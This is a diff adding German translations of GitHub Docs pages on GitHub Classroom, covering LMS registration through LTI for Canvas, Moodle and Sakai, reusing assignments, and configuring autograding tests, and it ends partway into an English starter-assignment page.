--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom.md
@@ -0,0 +1,169 @@
+---
+title: Registrieren eines Learning Management System bei GitHub Classroom
+intro: 'Du kannst ein LTI-konformes Learning Management System (LMS) bei {% data variables.product.prodname_classroom %} konfigurieren.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}.'
+shortTitle: Register an LMS
+ms.openlocfilehash: e1c1abed5ce4ebf82c19b29fef9a005fbe4c7a02
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106853'
+---
+## Informationen zum Registrieren eines LMS für einen Kursraum
+
+Bevor du dein LMS mit einem Kursraum verknüpfen kannst, muss ein*e Administrator*in für deine LMS-Instanz dieses so konfigurieren, dass {% data variables.product.prodname_classroom %} zugelassen wird. Dann muss dein LMS bei {% data variables.product.prodname_classroom %} registriert werden, um den OAuth-Handshake zu initiieren. Ein*e Administrator*in muss diesen Registrierungsvorgang nur einmal ausführen, und jede Lehrkraft, die eine LMS-Instanz verwendet, kann ihre LMS-Kurse mit Kursräumen synchronisieren. Weitere Informationen zum Verknüpfen eines LMS-Kurses mit einem Kursraum findest du unter [Verknüpfen eines Learning Management System-Kurses mit einem Kursraum](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom).
+
+{% note %}
+
+**Hinweis:** {% data reusables.classroom.google-classroom-note %}
+
+{% endnote %}
+
+## Unterstützte LMS
+
+{% data reusables.classroom.supported-lmses %}
+
+## Konfigurieren von Canvas für {% data variables.product.prodname_classroom %}
+
+Du kannst deine Canvas-Installation bei {% data variables.product.prodname_classroom %} registrieren, damit Lehrkräfte Kurslistendaten in ihre Kursräume importieren können. Weitere Informationen zu Canvas findest du auf der [Canvas-Website](https://www.instructure.com/canvas/).
+
+### 1. Registrieren von {% data variables.product.prodname_classroom %}-Entwicklerschlüsseln bei Canvas
+
+1. Melde dich bei [Canvas](https://www.instructure.com/canvas/#login) an.
+2. Klicke auf der linken Randleiste auf der Startseite auf **Admin** und dann auf **Websiteadministrator**.
+3. Klicke auf **Entwicklerschlüssel**.
+4. Klicke unter „Entwicklerschlüssel“ auf die Schaltfläche **+ Entwicklerschlüssel**, und wähle dann im Dropdownmenü **+ LTI-Schlüssel** aus.
+5. Lege auf dem Konfigurationsbildschirm „Schlüsseleinstellungen“ die folgenden Werte für die Felder fest: 
+
+    | Feld für die Konfiguration der Canvas-App | Wert oder Einstellung |
+    | :- | :- |
+    | **Methode** | `Manual Entry` |
+    | **Titel** | `GitHub Classroom` <br/><br/>**Hinweis**: Du kannst einen beliebigen Namen verwenden, aber du musst die Lehrkräfte informieren, wenn du diese Angabe änderst.  |
+    | **Beschreibung** | `Sync Canvas course rosters to GitHub Classroom` (oder ähnlich) |
+    | **Ziellink-URI** | `https://classroom.github.com/context-link` |
+    | **Initiierungs-URL für OpenID Connect** | `https://classroom.github.com/lti1p3/openid-connect/auth` |
+    | **JWK-Methode** | `Public JWK URL` |
+    | **Öffentliche JWK-URL** | `https://classroom.github.com/.well-known/jwks.json` |
+    | **Umleitungs-URIs** | `https://classroom.github.com/lti1p3/openid-connect/redirect` |
+    | Dropdownmenü **LTI Advantage-Dienste** | Aktiviere das Kontrollkästchen „Benutzerdaten abrufen, die dem Installationskontext des Tools zugeordnet sind“. |
+    | **Dropdownmenü „Zusätzliche Einstellungen“** | Wähle unter „Sichtbarkeit“ die Option `Public` aus. |
+    | **Positionierung** | Wählen Sie `Course Settings Sub Navigation` aus. <br/><br/>**Hinweis**: Wenn du die Positionierung änderst, musst du die Lehrkräfte darüber informieren. Unsere Dokumentation geht von dieser Positionierung der Schaltfläche aus. |
+6. Klicken Sie auf **Speichern**.
+7. Notiere dir den Wert der Client-ID in der Zeile „GitHub Classroom-Entwicklerschlüssel“ (Spalte „Details“) der Tabelle auf der Seite „Entwicklerschlüssel“. Dieser muss den Lehrkräften mitgeteilt werden, damit sie das Setup abschließen können. 
+8. Ändere den Status des Schlüssels in der Spalte „Status“ der Tabelle auf der Seite „Entwicklerschlüssel“ in „Ein“.
+
+### 2. Registrieren von Entwicklerschlüsseln bei {% data variables.product.prodname_classroom %}
+
+1. Gehe zu https://classroom.github.com/register-lms. 
+2. Geben Sie die folgenden Informationen ein:
+   - Wähle unter „LMS-Typ“ im Dropdownmenü „Canvas“ aus. 
+   - Aussteller-ID: `https://canvas.instructure.com`
+   - Domäne: Die Basis-URL für deine Canvas-Instanz
+   - Client-ID: Die Client-ID unter „Details“ für den von dir erstellten Entwicklerschlüssel
+   - OIDC-Autorisierungsendpunkt: Die Basis-URL zu deiner Canvas-Instanz, der `/login/oauth2/token` angefügt wird
+   - OAuth 2.0-URL für Tokenabruf: Die Basis-URL zu deiner Canvas-Instanz, der `/api/lti/authorize_redirect` angefügt wird
+   - URL für Schlüsselfestlegung: Die Basis-URL zu deiner Canvas-Instanz, der `/api/lti/security/jwks` angefügt wird
+
+  ![Registrieren der Canvas-Instanz bei GitHub Classroom](/assets/images/help/classroom/register-canvas-with-github-classroom.png)
+
+3. Klicken Sie auf **Registrieren**. 
+4. Das Banner „LMS erfolgreich registriert“ sollte oben auf dem Bildschirm angezeigt werden. Das bedeutet, dass deine LMS-Instanz registriert wurde und Lehrkräfte ihre Kursräume nun verknüpfen können.
+
+## Konfigurieren von Moodle für {% data variables.product.prodname_classroom %}
+
+Du kannst deine Moodle-Installation bei {% data variables.product.prodname_classroom %} registrieren, damit Lehrkräfte Kurslistendaten in ihre Kursräume importieren können. Weitere Informationen zu Moodle findest du auf der [Moodle-Website](https://moodle.org).
+
+Du musst die Moodle-Version 3.0 oder höher verwenden.
+
+### 1. Aktivieren der Veröffentlichung als LTI-Tool in Moodle
+
+1. Melde dich bei [Moodle](https://moodle.org/login/) an.
+2. Klicke im obersten Menü auf die Registerkarte „Websiteverwaltung“.
+3. Klicke auf der Seite „Websiteverwaltung“ auf die Registerkarte „Plug-Ins“, scrolle dann nach unten zum Abschnitt „Authentifizierung“, und klicke auf **Authentifizierung verwalten**.
+4. Klicke neben dem Feld „LTI“ auf die Umschaltfläche, um LTI zu aktivieren.
+5. Klicke erneut auf die Registerkarte „Plug-Ins“, scrolle dann nach unten zu „Registrierungen“, und klicke auf **Registrierungs-Plug-Ins verwalten**.
+6. Klicke neben dem Feld „Als LTI-Tool veröffentlichen“ auf die Umschaltfläche, um die Veröffentlichung als LTI-Tool zu aktivieren.
+7. Kehre zur Seite „Websiteverwaltung“ zurück, indem du im obersten Menü auf die Registerkarte „Websiteverwaltung“ klickst. Scrolle dann zum Abschnitt „Sicherheit“, und klicke auf **HTTP-Sicherheit**.
+8. Aktiviere das Kontrollkästchen neben „Frameeinbettung zulassen“, um die Frameeinbettung zu aktivieren. Klicke dann auf **Änderungen speichern**.
+
+### 2. Registrieren von {% data variables.product.prodname_classroom %} als externes Tool
+
+1. Kehre zur Moodle-Seite „Websiteverwaltung“ zurück, indem du im obersten Menü auf die Registerkarte „Websiteverwaltung“ klickst. 
+2. Klicke auf die Registerkarte „Plug-Ins“, und klicke dann neben dem Abschnitt „Aktivitätsmodule“ unter „Externes Tool“ auf **Tools verwalten**.
+3. Klicke auf **Tool manuell konfigurieren**. 
+4. Gib die folgenden Werte in die Felder ein:
+
+    | Feld für die Konfiguration der Moodle-App | Wert oder Einstellung |
+    | :- | :- |
+    | **Name des Tools** | `GitHub Classroom` <br/><br/>**Hinweis**: Du kannst einen beliebigen Namen verwenden, aber du musst die Lehrkräfte informieren, wenn du diese Angabe änderst. |
+    | **Tool-URL** | `https://classroom.github.com` |
+    | **LTI-Version** | `LTI 1.3` |
+    | **Art des öffentlichen Schlüssels** | `Keyset URL` |
+    | **Öffentliches Keyset** | `https://classroom.github.com/.well-known/jwks.json` |
+    | **URL für Anmeldeinitiierung** | `https://classroom.github.com/lti1p3/openid-connect/auth` |
+    | **Umleitungs-URI(s)** | `https://classroom.github.com/lti1p3/openid-connect/redirect` |
+    | **Standardstartcontainer** | `New window` |
+
+5. Aktiviere das Kontrollkästchen **Deep Linking (Inhaltselementnachricht) unterstützen**.
+6. Wähle unter dem Dropdownmenü „Dienste“ neben „Namen und Rollenbereitstellung für IMS-LTI“ die Option „Diesen Dienst zum Abrufen der Mitgliederinformationen gemäß Datenschutzeinstellungen verwenden“ aus dem Dropdownmenü aus. 
+7. Klicke auf **Änderungen speichern**. 
+8. GitHub Classroom ist jetzt als externes Tool registriert. Klicke unter „Tools“ im Feld „GitHub Classroom“ auf das Menüsymbol, um den Bildschirm „Toolkonfigurationsdetails“ anzuzeigen. Dieser Bildschirm enthält wichtige Informationen, die du unten im letzten Schritt zum Registrieren deiner Instanz in {% data variables.product.prodname_classroom %} eingeben musst. 
+
+### 3. Registrieren deiner Moodle-Instanz bei {% data variables.product.prodname_classroom %}
+
+1. Gehe zu https://classroom.github.com/register-lms. 
+2. Geben Sie die folgenden Informationen ein:
+   - Wähle unter „LMS-Typ“ im Dropdownmenü „Moodle“ aus. 
+   - Aussteller-ID: Die Plattform-ID aus den Toolkonfigurationsdetails des externen Tools, das du in Moodle erstellt hast
+   - Domäne: Die Basis-URL für deine Moodle-Instanz
+   - Client-ID: Die Client-ID aus den Toolkonfigurationsdetails des externen Tools, das du in Moodle erstellt hast
+   - URL für Authentifizierungsanforderungen: Die URL für Authentifizierungsanforderungen aus den Toolkonfigurationsdetails des externen Tools, das du in Moodle erstellt hast
+   - Zugriffstoken-URL: Die Zugriffstoken-URL aus den Toolkonfigurationsdetails des externen Tools, das du in Moodle erstellt hast
+   - Keyset-URL: Die öffentliche Keyset-URL aus den Toolkonfigurationsdetails des externen Tools, das du in Moodle erstellt hast
+  
+  ![Registrieren der Moodle-Instanz bei GitHub Classroom](/assets/images/help/classroom/register-moodle-with-github-classroom.png)
+
+3. Klicken Sie auf **Registrieren**.
+4. Das Banner „LMS erfolgreich registriert“ sollte oben auf dem Bildschirm angezeigt werden. Das bedeutet, dass deine LMS-Instanz registriert wurde und Lehrkräfte ihre Kursräume nun verknüpfen können.
+
+## Konfigurieren von Sakai für {% data variables.product.prodname_classroom %}
+
+### 1. Registrieren von {% data variables.product.prodname_classroom %} als externes Tool
+
+1. Wechsle zu Sakai, und melde dich an.
+2. Wechsle zu „Verwaltungsarbeitsbereich“, und wähle **Externe Tools** in der linken Seitenleiste aus. 
+3. Klicke auf **LTI 1.x-Tool installieren**.
+4. Gib die folgenden Werte in die Felder ein:
+
+    | Feld in der App-Konfiguration von Sakai | Wert oder Einstellung |
+    | :- | :- |
+    | **Name des Tools** | GitHub Classroom – [dein Kursname] <br/><br/>**Hinweis**: Du kannst einen beliebigen Namen verwenden, aber du musst die Lehrkräfte informieren, wenn du diese Angabe änderst. |
+    | **Schaltflächentext** (Text im Toolmenü) | Dieser Text wird Lehrkräften auf der Schaltfläche zum Starten von {% data variables.product.prodname_classroom %} angezeigt. Der Wert könnte beispielsweise `sync` lauten. |
+    | **Start-URL** | `https://classroom.github.com/context-link` |
+    | **Benutzernamen an externes Tool senden** | Aktivieren Sie dieses Kontrollkästchen. |
+    | **Kursliste an externes Tool senden** | Aktivieren Sie dieses Kontrollkästchen. |
+    | **Tool unterstützt LTI 1.3** | Aktivieren Sie dieses Kontrollkästchen. |
+    | **Keyset-URL für LTI 1.3-Tool** | `https://classroom.github.com/.well-known/jwks.json` |
+    | **OpenID Connect-/Initialisierungsendpunkt für LTI 1.3-Tool** | `https://classroom.github.com/lti1p3/openid-connect/auth` |
+    | **Umleitungsendpunkt für LTI 1.3-Tool** | `https://classroom.github.com/lti1p3/openid-connect/redirect` |
+5. Bei der Übermittlung zeigt Sakai dir die Informationen an, die du benötigst, um deine Sakai-Instanz bei {% data variables.product.prodname_classroom %} zu registrieren.
+
+### 2. Registrieren deiner Sakai-Instanz bei {% data variables.product.prodname_classroom %}
+
+1. Gehe zu https://classroom.github.com/register-lms.
+2. Geben Sie die folgenden Informationen ein:
+   - Wähle unter „LMS-Typ“ im Dropdownmenü „Sakai“ aus. 
+   - LTI 1.3-Plattformaussteller: Der Inhalt des gleichnamigen Felds in Sakai
+   - Domäne: Die Basis-URL für deine Sakai-Instanz
+   - LTI 1.3-Client-ID: Der Inhalt des gleichnamigen Felds in Sakai
+   - OIDC-Authentifizierungs-URL der LTI 1.3-Plattform: Der Inhalt des gleichnamigen Felds in Sakai
+   - Abruf-URL für das OAuth2-Bearertoken der LTI 1.3-Plattform: Der Inhalt des gleichnamigen Felds in Sakai
+   - Bekannte/Keyset-OAuth2-URL der LTI 1.3-Plattform: Der Inhalt des gleichnamigen Felds in Sakai
+  
+  ![Registrieren der Sakai-Instanz bei GitHub Classroom](/assets/images/help/classroom/register-sakai-with-github-classroom.png)
+
+3. Klicken Sie auf **Registrieren**. 
+4. Das Banner „LMS erfolgreich registriert“ sollte oben auf dem Bildschirm angezeigt werden. Das bedeutet, dass deine LMS-Instanz registriert wurde und Lehrkräfte ihre Kursräume nun verknüpfen können.
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md
new file mode 100644
index 0000000000..87f4acc970
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md
@@ -0,0 +1,61 @@
+---
+title: Wiederverwenden einer Aufgabe
+intro: 'Du kannst vorhandene Aufgaben in mehreren Kursräumen wiederverwenden, einschließlich Kursräumen in einer anderen Organisation.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can reuse assignments from a classroom. {% data reusables.classroom.classroom-admins-link %}'
+shortTitle: Reuse an assignment
+ms.openlocfilehash: 4c1c9048847affef95d5c904b188e68d2c183b43
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066914'
+---
+## Informationen zur Wiederverwendung von Aufgaben
+
+Du kannst eine vorhandene Einzel- oder Gruppenaufgabe in einem beliebigen anderen Kursraum wiederverwenden, für den du über Zugriffsberechtigungen verfügst (einschließlich Kursräume in einer anderen Organisation). Du kannst auch mehrere Aufgaben aus einem Klassenraum gleichzeitig wiederverwenden. Wenn du dich für die Wiederverwendung einer Aufgabe entscheidest, kopiert {% data variables.product.prodname_classroom %} die Aufgabe in den ausgewählten Kursraum. Wenn du für die Aufgabe ein Vorlagenrepository verwendest und dieses in einem Kursraum einer anderen Organisation wiederverwendest, erstellt {% data variables.product.prodname_classroom %} eine Kopie des Repositorys und dessen Inhalte in der Zielorganisation.
+
+Die kopierte Aufgabe umfasst Aufgabendetails wie den Namen und das Quellrepository sowie Informationen zum automatischen Bewertungstest und dem bevorzugten Editor. Nachdem die Aufgabe kopiert wurde, kannst du sie bearbeiten, um Änderungen vorzunehmen. Du kannst den bevorzugten Editor nicht ändern. 
+
+## Wiederverwenden einer Aufgabe
+
+1. Melde dich bei {% data variables.product.prodname_classroom_with_url %} an.
+1. Navigiere zum Kursraum mit der Aufgabe, die du wiederverwenden möchtest.
+
+   ![Kursraum in einer Liste von Kursräumen für eine Organisation](/assets/images/help/classroom/click-classroom-in-list.png)
+
+1. Klicke in der Liste der Aufgaben auf die Aufgabe, die du wiederverwenden möchtest.
+
+   ![Aufgabe in Liste von Aufgaben für einen Kursraum](/assets/images/help/classroom/click-assignment-in-list.png)
+
+1. Klicke auf das Dropdownmenü **{% octicon "pencil" aria-label="The pencil icon" %} Bearbeiten** oben rechts auf der Seite und dann auf **{% octicon "sync" aria-label="The sync icon" %} Aufgabe wiederverwenden**.
+
+   ![Schaltfläche zum Wiederverwenden einer Aufgabe](/assets/images/help/classroom/reuse-assignment-button.png)
+
+1. Verwende im modalen Fenster „Aufgabe wiederverwenden“ das Dropdownmenü **Organisation auswählen**, um die Organisation auszuwählen, der die Aufgabe zugewiesen werden soll.  Verwende dann das Dropdownmenü **Kursraum auswählen**, um den Kursraum innerhalb der Organisation auszuwählen, in den du die Aufgabe kopieren möchtest.
+
+   ![Modales Fenster zum Wiederverwenden einer Aufgabe](/assets/images/help/classroom/reuse-assignment-modal.png)
+
+1. Klicke auf **Aufgabe erstellen**.
+1. Die Aufgabe wird in den ausgewählten Kursraum kopiert, und eine Bestätigungsmeldung wird angezeigt. Wenn du dich für die Wiederverwendung einer Aufgabe mit einem Vorlagenrepository entschieden hast, kann es einige Minuten dauern, bis der Kopiervorgang abgeschlossen ist. Möglicherweise musst du die Seite aktualisieren, damit die Meldung mit dem Hinweis auf den abgeschlossenen Vorgang angezeigt wird.
+
+   ![Meldung mit dem Hinweis auf den abgeschlossenen Vorgang für die wiederverwendete Aufgabe](/assets/images/help/classroom/reuse-assignment-completed-message.png)
+
+## Wiederverwenden mehrerer Aufgaben aus einem Klassenraum
+
+1. Melde dich bei {% data variables.product.prodname_classroom_with_url %} an.
+2. Klicke rechts neben dem Namen eines Kursraums auf das {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}-Dropdownmenü und dann auf **Aufgabe wiederverwenden**.
+   
+   ![Screenshot der Übersichtsseite des Klassenraums mit hervorgehobenem Dropdownmenü](/assets/images/help/classroom/classroom-reuse-assignment-modal.png)
+
+3. Verwende im modalen Fenster „Aufgaben wiederverwenden“ das Dropdownmenü **Organisation auswählen**, um die Organisation auszuwählen, der die Aufgaben zugewiesen werden sollen.  Verwende dann das Dropdownmenü **Kursraum auswählen**, um den Kursraum innerhalb der Organisation auszuwählen, in den du die Aufgaben kopieren möchtest.
+   
+   ![Screenshot des modalen Fensters „Aufgaben wiederverwenden“](/assets/images/help/classroom/reuse-multiple-assignments-modal.png)
+
+4. Markiere die Auswahl jeweils links neben der gewünschten Aufgabe.
+
+   ![Screenshot mehrerer ausgewählter Aufgaben](/assets/images/help/classroom/multiple-assignments-selected.png)
+
+5. Klicke auf **Aufgaben erstellen**.
+6. Die Aufgaben werden in den ausgewählten Klassenraum kopiert. Wenn du dich für die Wiederverwendung einer Aufgabe mit einem Vorlagenrepository entschieden hast, kann es einige Minuten dauern, bis der Kopiervorgang abgeschlossen ist.
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
new file mode 100644
index 0000000000..2cd45bcd18
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -0,0 +1,101 @@
+---
+title: Verwenden der automatischen Bewertung
+intro: 'Du kannst automatisch Feedback zu Codeübermittlungen von deinen Kursteilnehmern bereitstellen, indem du Tests konfigurierst, die im Aufgabenrepository ausgeführt werden.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading
+  - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers
+  - /education/manage-coursework-with-github-classroom/use-autograding
+ms.openlocfilehash: b3e9b44da93d799972b93a9f6e822b767099fdba
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102668'
+---
+## Informationen zur automatischen Bewertung
+
+{% data reusables.classroom.about-autograding %}
+
+Nachdem ein Kursteilnehmer eine Aufgabe angenommen hat, führt {% data variables.product.prodname_actions %} bei jedem Push in das Aufgabenrepository die Befehle für deinen Test mit automatischer Bewertung in einer Linux-Umgebung aus, die den neuesten Code des Kursteilnehmers enthält. {% data variables.product.prodname_classroom %} erstellt die notwendigen Workflows für {% data variables.product.prodname_actions %}. Du benötigst keine Erfahrung mit {% data variables.product.prodname_actions %}, um die automatische Bewertung zu nutzen.
+
+Du kannst ein Testframework verwenden, einen benutzerdefinierten Befehl ausführen, Eingabe-/Ausgabetests schreiben oder verschiedene Testmethoden kombinieren. Die Linux-Umgebung zur automatischen Bewertung umfasst viele beliebte Softwaretools. Weitere Informationen findest du in den Details zur neuesten Version von Ubuntu in [Spezifikationen für {% data variables.product.company_short %}-gehostete Runner](/actions/reference/specifications-for-github-hosted-runners#supported-software).
+
+Eine Übersicht darüber, welche Kursteilnehmer die Tests mit automatischer Bewertung bestanden haben, erhältst du, indem du in {% data variables.product.prodname_classroom %} zur Aufgabe navigierst. Ein grünes Häkchen bedeutet, dass alle Tests für den Kursteilnehmer bestanden wurden, bei einem roten X wurden einige oder alle Tests nicht bestanden. Wenn du Punkte für einen oder mehrere Tests vergibst, zeigt eine Blase die Punktzahl für die Tests im Verhältnis zur maximal möglichen Punktzahl für die Aufgabe an.
+
+![Übersicht über eine Aufgabe mit den Ergebnissen der automatischen Bewertung](/assets/images/help/classroom/assignment-individual-hero.png)
+
+## Bewertungsmethoden
+
+Es gibt zwei Bewertungsmethoden: E/A-Tests (Eingabe/Ausgabe) und Ausführungsbefehlstests.
+
+### E/A-Test
+
+Ein E/A-Test führt optional einen Setupbefehl aus und liefert dann eine Standardeingabe für einen Testbefehl. {% data variables.product.prodname_classroom %} wertet die Ausgabe des Testbefehls anhand eines erwarteten Ergebnisses aus.
+
+| Einstellung | BESCHREIBUNG |
+| :- | :- |
+| **Testname** | Der Name des Tests, um den Test in Protokollen zu identifizieren |
+| **Setupbefehl** | _Optional:_ Ein Befehl, der vor den Tests ausgeführt wird, z. B. Kompilierung oder Installation |
+| **Ausführungsbefehl** | Der Befehl zum Ausführen des Tests und zum Generieren der Standardausgabe für die Auswertung |
+| **Eingaben** | Standardeingabe für den Ausführungsbefehl |
+| **Erwartete Ausgabe** | Die Ausgabe, die du als Standardausgabe des Ausführungsbefehls erwartest |
+| **Vergleich** | Die Art des Vergleichs zwischen der Ausgabe des Ausführungsbefehls und der erwarteten Ausgabe<br/><br/><ul><li>**Enthalten**: Der Test gilt als bestanden, wenn die erwartete Ausgabe<br/>an beliebiger Stelle in der Standardausgabe des Ausführungsbefehls enthalten ist.</li><li>**Genau**: Der Test gilt als bestanden, wenn die erwartete Ausgabe<br/>exakt mit der Standardausgabe des Ausführungsbefehls übereinstimmt.</li><li>**RegEx**: Der Test gilt als bestanden, wenn der reguläre Ausdruck in der erwarteten<br/>Ausgabe mit der Standardausgabe des Ausführungsbefehls übereinstimmt.</li></ul> |
+| **Timeout** | Zeitraum in Minuten, die ein Test ausgeführt werden kann, bevor ein Fehler auftritt. |
+| **Points** | _Optional:_ Die Anzahl von Punkten, die für den Test in eine Gesamtpunktzahl einfließen |
+
+### Ausführungsbefehlstest
+
+Ein Ausführungsbefehlstest führt einen Setupbefehl und anschließend einen Testbefehl aus. {% data variables.product.prodname_classroom %} überprüft den Beendigungsstatus des Testbefehls. Der Exitcode `0` bedeutet, dass der Vorgang erfolgreich war, jeder andere Exitcode führt zu einem Fehler.
+
+{% data variables.product.prodname_classroom %} stellt Voreinstellungen für sprachspezifische Ausführungsbefehlstests für eine Vielzahl von Programmiersprachen bereit. Zum Beispiel wird für den Test **Knoten ausführen** der Setupbefehl mit `npm install` und der Testbefehl mit `npm test` vorausgefüllt.
+
+| Einstellung | BESCHREIBUNG |
+| :- | :- |
+| **Testname** | Der Name des Tests, um den Test in Protokollen zu identifizieren |
+| **Setupbefehl** | _Optional:_ Ein Befehl, der vor den Tests ausgeführt wird, z. B. Kompilierung oder Installation |
+| **Ausführungsbefehl** | Der Befehl zum Ausführen des Tests und zum Generieren eines Exitcodes für die Auswertung |
+| **Timeout** | Zeitraum in Minuten, die ein Test ausgeführt werden kann, bevor ein Fehler auftritt. |
+| **Points** | _Optional:_ Die Anzahl von Punkten, die für den Test in eine Gesamtpunktzahl einfließen |
+
+## Konfigurieren von Tests mit automatischer Bewertung für eine Aufgabe
+
+Du kannst beim Erstellen einer neuen Aufgabe Tests mit automatischer Bewertung hinzufügen. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+
+Du kannst Tests mit automatischer Bewertung für eine vorhandene Aufgabe hinzufügen, bearbeiten oder löschen. Alle Änderungen, die du über die Classroom-Benutzeroberfläche vornimmst, werden in die vorhandenen Repositorys der Kursteilnehmer gepusht. Deshalb solltest du beim Bearbeiten deiner Tests mit Bedacht vorgehen.
+
+{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.assignments-click-pencil %}
+1. Klicke in der linken Seitenleiste auf **Bewertung und Feedback**.
+  ![„Bewertung und Feedback“ links neben den Basiseinstellungen der Aufgabe](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
+1. Füge einen Test mit automatischer Bewertung hinzu, bearbeite oder lösche ihn.
+    - Wähle unter „Tests mit automatischer Bewertung hinzufügen“ das Dropdownmenü **Test hinzufügen** aus, und klicke dann auf die gewünschte Bewertungsmethode.
+       ![Verwenden des Dropdownmenüs „Test hinzufügen“ zum Auswählen einer Bewertungsmethode](/assets/images/help/classroom/autograding-click-grading-method.png) Konfiguriere den Test, und klicke dann auf **Testfall speichern**.
+       ![Schaltfläche „Testfall speichern“ für einen Test mit automatischer Bewertung](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Um einen Test zu bearbeiten, klickst du rechts neben dem Testnamen auf {% octicon "pencil" aria-label="The pencil icon" %}.
+        ![Bleistiftsymbol zum Bearbeiten eines Tests mit automatischer Bewertung](/assets/images/help/classroom/autograding-click-pencil.png) Konfiguriere den Test, und klicke dann auf **Testfall speichern**.
+       ![Schaltfläche „Testfall speichern“ für einen Test mit automatischer Bewertung](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Um einen Test zu löschen, klickst du rechts neben dem Testnamen auf {% octicon "trash" aria-label="The trash icon" %}.
+        ![Papierkorbsymbol zum Löschen eines Tests mit automatischer Bewertung](/assets/images/help/classroom/autograding-click-trash.png)
+1. Klicke unten auf der Seite auf **Aufgabe aktualisieren**.
+  ![Schaltfläche „Aufgabe aktualisieren“ unten auf der Seite](/assets/images/help/classroom/assignments-click-update-assignment.png)
+
+## Anzeigen und Herunterladen von Ergebnissen für Tests mit automatischer Bewertung
+
+### Herunterladen von Ergebnissen der automatischen Bewertung
+
+Über die Schaltfläche „Herunterladen“ kannst du eine CSV-Datei mit den Ergebnissen der automatischen Bewertung für deine Kursteilnehmer herunterladen. Dadurch wird eine CSV-Datei generiert und heruntergeladen, die einen Link zum Repository des Kursteilnehmers, das zugehörige {% data variables.product.prodname_dotcom %}-Handle, die Kursplan-ID, den Zeitstempel der Übermittlung und die Punktzahl der automatischen Bewertung enthält.
+
+![Schaltfläche „Herunterladen“ mit ausgewählter Einstellung „Bewertungen herunterladen“ und zusätzlicher Option „Repositorys herunterladen“](/assets/images/help/classroom/download-grades.png)
+
+### Anzeigen einzelner Protokolle
+{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %}
+1. Klicke rechts neben einer Übermittlung auf **Test anzeigen**.
+  ![Schaltfläche „Test anzeigen“ für eine Aufgabenübermittlung](/assets/images/help/classroom/assignments-click-view-test.png)
+1. Überprüfe die Testausgabe. Weitere Informationen findest du unter [Verwenden von Workflowausführungsprotokollen](/actions/managing-workflow-runs/using-workflow-run-logs).
+
+## Weitere Informationsquellen
+
+- [{% data variables.product.prodname_actions %}-Dokumentation](/actions)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
new file mode 100644
index 0000000000..115f623678
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
@@ -0,0 +1,104 @@
+---
+title: Use the Git and GitHub starter assignment
+intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment
+shortTitle: Starter assignment
+---
+
+The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics.
+
+## Prerequisites
+
+{% data reusables.classroom.assignments-classroom-prerequisite %}
+
+## Creating the starter assignment
+
+### If there are no existing assignments in the classroom
+
+1. Sign into {% data variables.product.prodname_classroom_with_url %}.
+2. Navigate to a classroom.
+3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click  **Use starter assignment**.
+
+<div class="procedural-image-wrapper">
+  <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
+</div>
+
+### If there already are existing assignments in the classroom
+
+1. Sign into {% data variables.product.prodname_classroom_with_url %}.
+2. Navigate to a classroom.
+3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner.
+
+<div class="procedural-image-wrapper">
+  <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
